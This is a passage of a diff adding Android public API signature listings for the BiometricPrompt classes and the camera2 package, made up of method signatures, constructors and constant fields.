+    field public static final int AUTHENTICATION_RESULT_TYPE_BIOMETRIC = 2; // 0x2
+    field public static final int AUTHENTICATION_RESULT_TYPE_DEVICE_CREDENTIAL = 1; // 0x1
+    field public static final int BIOMETRIC_ACQUIRED_GOOD = 0; // 0x0
+    field public static final int BIOMETRIC_ACQUIRED_IMAGER_DIRTY = 3; // 0x3
+    field public static final int BIOMETRIC_ACQUIRED_INSUFFICIENT = 2; // 0x2
+    field public static final int BIOMETRIC_ACQUIRED_PARTIAL = 1; // 0x1
+    field public static final int BIOMETRIC_ACQUIRED_TOO_FAST = 5; // 0x5
+    field public static final int BIOMETRIC_ACQUIRED_TOO_SLOW = 4; // 0x4
+    field public static final int BIOMETRIC_ERROR_CANCELED = 5; // 0x5
+    field public static final int BIOMETRIC_ERROR_HW_NOT_PRESENT = 12; // 0xc
+    field public static final int BIOMETRIC_ERROR_HW_UNAVAILABLE = 1; // 0x1
+    field public static final int BIOMETRIC_ERROR_LOCKOUT = 7; // 0x7
+    field public static final int BIOMETRIC_ERROR_LOCKOUT_PERMANENT = 9; // 0x9
+    field public static final int BIOMETRIC_ERROR_NO_BIOMETRICS = 11; // 0xb
+    field public static final int BIOMETRIC_ERROR_NO_DEVICE_CREDENTIAL = 14; // 0xe
+    field public static final int BIOMETRIC_ERROR_NO_SPACE = 4; // 0x4
+    field public static final int BIOMETRIC_ERROR_SECURITY_UPDATE_REQUIRED = 15; // 0xf
+    field public static final int BIOMETRIC_ERROR_TIMEOUT = 3; // 0x3
+    field public static final int BIOMETRIC_ERROR_UNABLE_TO_PROCESS = 2; // 0x2
+    field public static final int BIOMETRIC_ERROR_USER_CANCELED = 10; // 0xa
+    field public static final int BIOMETRIC_ERROR_VENDOR = 8; // 0x8
+  }
+
+  public abstract static class BiometricPrompt.AuthenticationCallback {
+    ctor public BiometricPrompt.AuthenticationCallback();
+    method public void onAuthenticationError(int, CharSequence);
+    method public void onAuthenticationFailed();
+    method public void onAuthenticationHelp(int, CharSequence);
+    method public void onAuthenticationSucceeded(android.hardware.biometrics.BiometricPrompt.AuthenticationResult);
+  }
+
+  public static class BiometricPrompt.AuthenticationResult {
+    method public int getAuthenticationType();
+    method public android.hardware.biometrics.BiometricPrompt.CryptoObject getCryptoObject();
+  }
+
+  public static class BiometricPrompt.Builder {
+    ctor public BiometricPrompt.Builder(android.content.Context);
+    method @NonNull public android.hardware.biometrics.BiometricPrompt build();
+    method @NonNull public android.hardware.biometrics.BiometricPrompt.Builder setAllowedAuthenticators(int);
+    method @NonNull public android.hardware.biometrics.BiometricPrompt.Builder setConfirmationRequired(boolean);
+    method @NonNull public android.hardware.biometrics.BiometricPrompt.Builder setDescription(@NonNull CharSequence);
+    method @Deprecated @NonNull public android.hardware.biometrics.BiometricPrompt.Builder setDeviceCredentialAllowed(boolean);
+    method @NonNull public android.hardware.biometrics.BiometricPrompt.Builder setNegativeButton(@NonNull CharSequence, @NonNull java.util.concurrent.Executor, @NonNull android.content.DialogInterface.OnClickListener);
+    method @NonNull public android.hardware.biometrics.BiometricPrompt.Builder setSubtitle(@NonNull CharSequence);
+    method @NonNull public android.hardware.biometrics.BiometricPrompt.Builder setTitle(@NonNull CharSequence);
+  }
+
+  public static final class BiometricPrompt.CryptoObject {
+    ctor public BiometricPrompt.CryptoObject(@NonNull java.security.Signature);
+    ctor public BiometricPrompt.CryptoObject(@NonNull javax.crypto.Cipher);
+    ctor public BiometricPrompt.CryptoObject(@NonNull javax.crypto.Mac);
+    ctor public BiometricPrompt.CryptoObject(@NonNull android.security.identity.IdentityCredential);
+    method public javax.crypto.Cipher getCipher();
+    method @Nullable public android.security.identity.IdentityCredential getIdentityCredential();
+    method public javax.crypto.Mac getMac();
+    method public java.security.Signature getSignature();
+  }
+
+}
+
+package android.hardware.camera2 {
+
+  public class CameraAccessException extends android.util.AndroidException {
+    ctor public CameraAccessException(int);
+    ctor public CameraAccessException(int, String);
+    ctor public CameraAccessException(int, String, Throwable);
+    ctor public CameraAccessException(int, Throwable);
+    method public final int getReason();
+    field public static final int CAMERA_DISABLED = 1; // 0x1
+    field public static final int CAMERA_DISCONNECTED = 2; // 0x2
+    field public static final int CAMERA_ERROR = 3; // 0x3
+    field public static final int CAMERA_IN_USE = 4; // 0x4
+    field public static final int MAX_CAMERAS_IN_USE = 5; // 0x5
+  }
+
+  public abstract class CameraCaptureSession implements java.lang.AutoCloseable {
+    ctor public CameraCaptureSession();
+    method public abstract void abortCaptures() throws android.hardware.camera2.CameraAccessException;
+    method public abstract int capture(@NonNull android.hardware.camera2.CaptureRequest, @Nullable android.hardware.camera2.CameraCaptureSession.CaptureCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method public abstract int captureBurst(@NonNull java.util.List<android.hardware.camera2.CaptureRequest>, @Nullable android.hardware.camera2.CameraCaptureSession.CaptureCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method public int captureBurstRequests(@NonNull java.util.List<android.hardware.camera2.CaptureRequest>, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraCaptureSession.CaptureCallback) throws android.hardware.camera2.CameraAccessException;
+    method public int captureSingleRequest(@NonNull android.hardware.camera2.CaptureRequest, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraCaptureSession.CaptureCallback) throws android.hardware.camera2.CameraAccessException;
+    method public abstract void close();
+    method public abstract void finalizeOutputConfigurations(java.util.List<android.hardware.camera2.params.OutputConfiguration>) throws android.hardware.camera2.CameraAccessException;
+    method @NonNull public abstract android.hardware.camera2.CameraDevice getDevice();
+    method @Nullable public abstract android.view.Surface getInputSurface();
+    method public abstract boolean isReprocessable();
+    method public abstract void prepare(@NonNull android.view.Surface) throws android.hardware.camera2.CameraAccessException;
+    method public abstract int setRepeatingBurst(@NonNull java.util.List<android.hardware.camera2.CaptureRequest>, @Nullable android.hardware.camera2.CameraCaptureSession.CaptureCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method public int setRepeatingBurstRequests(@NonNull java.util.List<android.hardware.camera2.CaptureRequest>, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraCaptureSession.CaptureCallback) throws android.hardware.camera2.CameraAccessException;
+    method public abstract int setRepeatingRequest(@NonNull android.hardware.camera2.CaptureRequest, @Nullable android.hardware.camera2.CameraCaptureSession.CaptureCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method public int setSingleRepeatingRequest(@NonNull android.hardware.camera2.CaptureRequest, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraCaptureSession.CaptureCallback) throws android.hardware.camera2.CameraAccessException;
+    method public abstract void stopRepeating() throws android.hardware.camera2.CameraAccessException;
+    method public boolean supportsOfflineProcessing(@NonNull android.view.Surface);
+    method @Nullable public android.hardware.camera2.CameraOfflineSession switchToOffline(@NonNull java.util.Collection<android.view.Surface>, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraOfflineSession.CameraOfflineSessionCallback) throws android.hardware.camera2.CameraAccessException;
+    method public void updateOutputConfiguration(android.hardware.camera2.params.OutputConfiguration) throws android.hardware.camera2.CameraAccessException;
+  }
+
+  public abstract static class CameraCaptureSession.CaptureCallback {
+    ctor public CameraCaptureSession.CaptureCallback();
+    method public void onCaptureBufferLost(@NonNull android.hardware.camera2.CameraCaptureSession, @NonNull android.hardware.camera2.CaptureRequest, @NonNull android.view.Surface, long);
+    method public void onCaptureCompleted(@NonNull android.hardware.camera2.CameraCaptureSession, @NonNull android.hardware.camera2.CaptureRequest, @NonNull android.hardware.camera2.TotalCaptureResult);
+    method public void onCaptureFailed(@NonNull android.hardware.camera2.CameraCaptureSession, @NonNull android.hardware.camera2.CaptureRequest, @NonNull android.hardware.camera2.CaptureFailure);
+    method public void onCaptureProgressed(@NonNull android.hardware.camera2.CameraCaptureSession, @NonNull android.hardware.camera2.CaptureRequest, @NonNull android.hardware.camera2.CaptureResult);
+    method public void onCaptureSequenceAborted(@NonNull android.hardware.camera2.CameraCaptureSession, int);
+    method public void onCaptureSequenceCompleted(@NonNull android.hardware.camera2.CameraCaptureSession, int, long);
+    method public void onCaptureStarted(@NonNull android.hardware.camera2.CameraCaptureSession, @NonNull android.hardware.camera2.CaptureRequest, long, long);
+  }
+
+  public abstract static class CameraCaptureSession.StateCallback {
+    ctor public CameraCaptureSession.StateCallback();
+    method public void onActive(@NonNull android.hardware.camera2.CameraCaptureSession);
+    method public void onCaptureQueueEmpty(@NonNull android.hardware.camera2.CameraCaptureSession);
+    method public void onClosed(@NonNull android.hardware.camera2.CameraCaptureSession);
+    method public abstract void onConfigureFailed(@NonNull android.hardware.camera2.CameraCaptureSession);
+    method public abstract void onConfigured(@NonNull android.hardware.camera2.CameraCaptureSession);
+    method public void onReady(@NonNull android.hardware.camera2.CameraCaptureSession);
+    method public void onSurfacePrepared(@NonNull android.hardware.camera2.CameraCaptureSession, @NonNull android.view.Surface);
+  }
+
+  public final class CameraCharacteristics extends android.hardware.camera2.CameraMetadata<android.hardware.camera2.CameraCharacteristics.Key<?>> {
+    method @Nullable public <T> T get(android.hardware.camera2.CameraCharacteristics.Key<T>);
+    method @NonNull public java.util.List<android.hardware.camera2.CaptureRequest.Key<?>> getAvailableCaptureRequestKeys();
+    method @NonNull public java.util.List<android.hardware.camera2.CaptureResult.Key<?>> getAvailableCaptureResultKeys();
+    method public java.util.List<android.hardware.camera2.CaptureRequest.Key<?>> getAvailablePhysicalCameraRequestKeys();
+    method public java.util.List<android.hardware.camera2.CaptureRequest.Key<?>> getAvailableSessionKeys();
+    method @NonNull public java.util.List<android.hardware.camera2.CameraCharacteristics.Key<?>> getKeys();
+    method @NonNull public java.util.List<android.hardware.camera2.CameraCharacteristics.Key<?>> getKeysNeedingPermission();
+    method @NonNull public java.util.Set<java.lang.String> getPhysicalCameraIds();
+    method @Nullable public android.hardware.camera2.params.RecommendedStreamConfigurationMap getRecommendedStreamConfigurationMap(int);
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> COLOR_CORRECTION_AVAILABLE_ABERRATION_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> CONTROL_AE_AVAILABLE_ANTIBANDING_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> CONTROL_AE_AVAILABLE_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Range<java.lang.Integer>[]> CONTROL_AE_AVAILABLE_TARGET_FPS_RANGES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Range<java.lang.Integer>> CONTROL_AE_COMPENSATION_RANGE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Rational> CONTROL_AE_COMPENSATION_STEP;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Boolean> CONTROL_AE_LOCK_AVAILABLE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> CONTROL_AF_AVAILABLE_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> CONTROL_AVAILABLE_EFFECTS;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.Capability[]> CONTROL_AVAILABLE_EXTENDED_SCENE_MODE_CAPABILITIES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> CONTROL_AVAILABLE_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> CONTROL_AVAILABLE_SCENE_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> CONTROL_AVAILABLE_VIDEO_STABILIZATION_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> CONTROL_AWB_AVAILABLE_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Boolean> CONTROL_AWB_LOCK_AVAILABLE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> CONTROL_MAX_REGIONS_AE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> CONTROL_MAX_REGIONS_AF;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> CONTROL_MAX_REGIONS_AWB;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Range<java.lang.Integer>> CONTROL_POST_RAW_SENSITIVITY_BOOST_RANGE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Range<java.lang.Float>> CONTROL_ZOOM_RATIO_RANGE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Boolean> DEPTH_DEPTH_IS_EXCLUSIVE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> DISTORTION_CORRECTION_AVAILABLE_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> EDGE_AVAILABLE_EDGE_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Boolean> FLASH_INFO_AVAILABLE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> HOT_PIXEL_AVAILABLE_HOT_PIXEL_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> INFO_SUPPORTED_HARDWARE_LEVEL;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.String> INFO_VERSION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Size[]> JPEG_AVAILABLE_THUMBNAIL_SIZES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_DISTORTION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_DISTORTION_MAXIMUM_RESOLUTION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> LENS_FACING;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_INFO_AVAILABLE_APERTURES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_INFO_AVAILABLE_FILTER_DENSITIES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_INFO_AVAILABLE_FOCAL_LENGTHS;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> LENS_INFO_AVAILABLE_OPTICAL_STABILIZATION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> LENS_INFO_FOCUS_DISTANCE_CALIBRATION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Float> LENS_INFO_HYPERFOCAL_DISTANCE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Float> LENS_INFO_MINIMUM_FOCUS_DISTANCE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_INTRINSIC_CALIBRATION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_INTRINSIC_CALIBRATION_MAXIMUM_RESOLUTION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> LENS_POSE_REFERENCE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_POSE_ROTATION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_POSE_TRANSLATION;
+    field @Deprecated @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<float[]> LENS_RADIAL_DISTORTION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> LOGICAL_MULTI_CAMERA_SENSOR_SYNC_TYPE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> NOISE_REDUCTION_AVAILABLE_NOISE_REDUCTION_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> REPROCESS_MAX_CAPTURE_STALL;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> REQUEST_AVAILABLE_CAPABILITIES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> REQUEST_MAX_NUM_INPUT_STREAMS;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> REQUEST_MAX_NUM_OUTPUT_PROC;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> REQUEST_MAX_NUM_OUTPUT_PROC_STALLING;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> REQUEST_MAX_NUM_OUTPUT_RAW;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> REQUEST_PARTIAL_RESULT_COUNT;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Byte> REQUEST_PIPELINE_MAX_DEPTH;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Float> SCALER_AVAILABLE_MAX_DIGITAL_ZOOM;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> SCALER_AVAILABLE_ROTATE_AND_CROP_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> SCALER_CROPPING_TYPE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Size> SCALER_DEFAULT_SECURE_IMAGE_SIZE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.MandatoryStreamCombination[]> SCALER_MANDATORY_CONCURRENT_STREAM_COMBINATIONS;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.MandatoryStreamCombination[]> SCALER_MANDATORY_MAXIMUM_RESOLUTION_STREAM_COMBINATIONS;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.MandatoryStreamCombination[]> SCALER_MANDATORY_STREAM_COMBINATIONS;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.MultiResolutionStreamConfigurationMap> SCALER_MULTI_RESOLUTION_STREAM_CONFIGURATION_MAP;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.StreamConfigurationMap> SCALER_STREAM_CONFIGURATION_MAP;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.StreamConfigurationMap> SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> SENSOR_AVAILABLE_TEST_PATTERN_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.BlackLevelPattern> SENSOR_BLACK_LEVEL_PATTERN;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.ColorSpaceTransform> SENSOR_CALIBRATION_TRANSFORM1;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.ColorSpaceTransform> SENSOR_CALIBRATION_TRANSFORM2;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.ColorSpaceTransform> SENSOR_COLOR_TRANSFORM1;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.ColorSpaceTransform> SENSOR_COLOR_TRANSFORM2;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.ColorSpaceTransform> SENSOR_FORWARD_MATRIX1;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.hardware.camera2.params.ColorSpaceTransform> SENSOR_FORWARD_MATRIX2;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.graphics.Rect> SENSOR_INFO_ACTIVE_ARRAY_SIZE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.graphics.Rect> SENSOR_INFO_ACTIVE_ARRAY_SIZE_MAXIMUM_RESOLUTION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Size> SENSOR_INFO_BINNING_FACTOR;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> SENSOR_INFO_COLOR_FILTER_ARRANGEMENT;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Range<java.lang.Long>> SENSOR_INFO_EXPOSURE_TIME_RANGE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Boolean> SENSOR_INFO_LENS_SHADING_APPLIED;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Long> SENSOR_INFO_MAX_FRAME_DURATION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.SizeF> SENSOR_INFO_PHYSICAL_SIZE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Size> SENSOR_INFO_PIXEL_ARRAY_SIZE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Size> SENSOR_INFO_PIXEL_ARRAY_SIZE_MAXIMUM_RESOLUTION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.graphics.Rect> SENSOR_INFO_PRE_CORRECTION_ACTIVE_ARRAY_SIZE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.graphics.Rect> SENSOR_INFO_PRE_CORRECTION_ACTIVE_ARRAY_SIZE_MAXIMUM_RESOLUTION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.util.Range<java.lang.Integer>> SENSOR_INFO_SENSITIVITY_RANGE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> SENSOR_INFO_TIMESTAMP_SOURCE;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> SENSOR_INFO_WHITE_LEVEL;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> SENSOR_MAX_ANALOG_SENSITIVITY;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<android.graphics.Rect[]> SENSOR_OPTICAL_BLACK_REGIONS;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> SENSOR_ORIENTATION;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> SENSOR_REFERENCE_ILLUMINANT1;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Byte> SENSOR_REFERENCE_ILLUMINANT2;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> SHADING_AVAILABLE_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> STATISTICS_INFO_AVAILABLE_FACE_DETECT_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<boolean[]> STATISTICS_INFO_AVAILABLE_HOT_PIXEL_MAP_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> STATISTICS_INFO_AVAILABLE_LENS_SHADING_MAP_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> STATISTICS_INFO_AVAILABLE_OIS_DATA_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> STATISTICS_INFO_MAX_FACE_COUNT;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> SYNC_MAX_LATENCY;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<int[]> TONEMAP_AVAILABLE_TONE_MAP_MODES;
+    field @NonNull public static final android.hardware.camera2.CameraCharacteristics.Key<java.lang.Integer> TONEMAP_MAX_CURVE_POINTS;
+  }
+
+  public static final class CameraCharacteristics.Key<T> {
+    ctor public CameraCharacteristics.Key(@NonNull String, @NonNull Class<T>);
+    method @NonNull public String getName();
+  }
+
+  public abstract class CameraConstrainedHighSpeedCaptureSession extends android.hardware.camera2.CameraCaptureSession {
+    ctor public CameraConstrainedHighSpeedCaptureSession();
+    method @NonNull public abstract java.util.List<android.hardware.camera2.CaptureRequest> createHighSpeedRequestList(@NonNull android.hardware.camera2.CaptureRequest) throws android.hardware.camera2.CameraAccessException;
+  }
+
+  public abstract class CameraDevice implements java.lang.AutoCloseable {
+    method public abstract void close();
+    method @NonNull public abstract android.hardware.camera2.CaptureRequest.Builder createCaptureRequest(int) throws android.hardware.camera2.CameraAccessException;
+    method @NonNull public android.hardware.camera2.CaptureRequest.Builder createCaptureRequest(int, java.util.Set<java.lang.String>) throws android.hardware.camera2.CameraAccessException;
+    method @Deprecated public abstract void createCaptureSession(@NonNull java.util.List<android.view.Surface>, @NonNull android.hardware.camera2.CameraCaptureSession.StateCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method public void createCaptureSession(android.hardware.camera2.params.SessionConfiguration) throws android.hardware.camera2.CameraAccessException;
+    method @Deprecated public abstract void createCaptureSessionByOutputConfigurations(java.util.List<android.hardware.camera2.params.OutputConfiguration>, android.hardware.camera2.CameraCaptureSession.StateCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method @Deprecated public abstract void createConstrainedHighSpeedCaptureSession(@NonNull java.util.List<android.view.Surface>, @NonNull android.hardware.camera2.CameraCaptureSession.StateCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method public void createExtensionSession(@NonNull android.hardware.camera2.params.ExtensionSessionConfiguration) throws android.hardware.camera2.CameraAccessException;
+    method @NonNull public abstract android.hardware.camera2.CaptureRequest.Builder createReprocessCaptureRequest(@NonNull android.hardware.camera2.TotalCaptureResult) throws android.hardware.camera2.CameraAccessException;
+    method @Deprecated public abstract void createReprocessableCaptureSession(@NonNull android.hardware.camera2.params.InputConfiguration, @NonNull java.util.List<android.view.Surface>, @NonNull android.hardware.camera2.CameraCaptureSession.StateCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method @Deprecated public abstract void createReprocessableCaptureSessionByConfigurations(@NonNull android.hardware.camera2.params.InputConfiguration, @NonNull java.util.List<android.hardware.camera2.params.OutputConfiguration>, @NonNull android.hardware.camera2.CameraCaptureSession.StateCallback, @Nullable android.os.Handler) throws android.hardware.camera2.CameraAccessException;
+    method public int getCameraAudioRestriction() throws android.hardware.camera2.CameraAccessException;
+    method @NonNull public abstract String getId();
+    method public boolean isSessionConfigurationSupported(@NonNull android.hardware.camera2.params.SessionConfiguration) throws android.hardware.camera2.CameraAccessException;
+    method public void setCameraAudioRestriction(int) throws android.hardware.camera2.CameraAccessException;
+    field public static final int AUDIO_RESTRICTION_NONE = 0; // 0x0
+    field public static final int AUDIO_RESTRICTION_VIBRATION = 1; // 0x1
+    field public static final int AUDIO_RESTRICTION_VIBRATION_SOUND = 3; // 0x3
+    field public static final int TEMPLATE_MANUAL = 6; // 0x6
+    field public static final int TEMPLATE_PREVIEW = 1; // 0x1
+    field public static final int TEMPLATE_RECORD = 3; // 0x3
+    field public static final int TEMPLATE_STILL_CAPTURE = 2; // 0x2
+    field public static final int TEMPLATE_VIDEO_SNAPSHOT = 4; // 0x4
+    field public static final int TEMPLATE_ZERO_SHUTTER_LAG = 5; // 0x5
+  }
+
+  public abstract static class CameraDevice.StateCallback {
+    ctor public CameraDevice.StateCallback();
+    method public void onClosed(@NonNull android.hardware.camera2.CameraDevice);
+    method public abstract void onDisconnected(@NonNull android.hardware.camera2.CameraDevice);
+    method public abstract void onError(@NonNull android.hardware.camera2.CameraDevice, int);
+    method public abstract void onOpened(@NonNull android.hardware.camera2.CameraDevice);
+    field public static final int ERROR_CAMERA_DEVICE = 4; // 0x4
+    field public static final int ERROR_CAMERA_DISABLED = 3; // 0x3
+    field public static final int ERROR_CAMERA_IN_USE = 1; // 0x1
+    field public static final int ERROR_CAMERA_SERVICE = 5; // 0x5
+    field public static final int ERROR_MAX_CAMERAS_IN_USE = 2; // 0x2
+  }
+
+  public final class CameraExtensionCharacteristics {
+    method @Nullable public android.util.Range<java.lang.Long> getEstimatedCaptureLatencyRangeMillis(int, @NonNull android.util.Size, int);
+    method @NonNull public <T> java.util.List<android.util.Size> getExtensionSupportedSizes(int, @NonNull Class<T>);
+    method @NonNull public java.util.List<android.util.Size> getExtensionSupportedSizes(int, int);
+    method @NonNull public java.util.List<java.lang.Integer> getSupportedExtensions();
+    field public static final int EXTENSION_AUTOMATIC = 0; // 0x0
+    field public static final int EXTENSION_BEAUTY = 1; // 0x1
+    field public static final int EXTENSION_BOKEH = 2; // 0x2
+    field public static final int EXTENSION_HDR = 3; // 0x3
+    field public static final int EXTENSION_NIGHT = 4; // 0x4
+  }
+
+  public abstract class CameraExtensionSession implements java.lang.AutoCloseable {
+    method public int capture(@NonNull android.hardware.camera2.CaptureRequest, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraExtensionSession.ExtensionCaptureCallback) throws android.hardware.camera2.CameraAccessException;
+    method public void close() throws android.hardware.camera2.CameraAccessException;
+    method @NonNull public android.hardware.camera2.CameraDevice getDevice();
+    method public int setRepeatingRequest(@NonNull android.hardware.camera2.CaptureRequest, @NonNull java.util.concurrent.Executor, @NonNull android.hardware.camera2.CameraExtensionSession.ExtensionCaptureCallback) throws android.hardware.camera2.CameraAccessException;
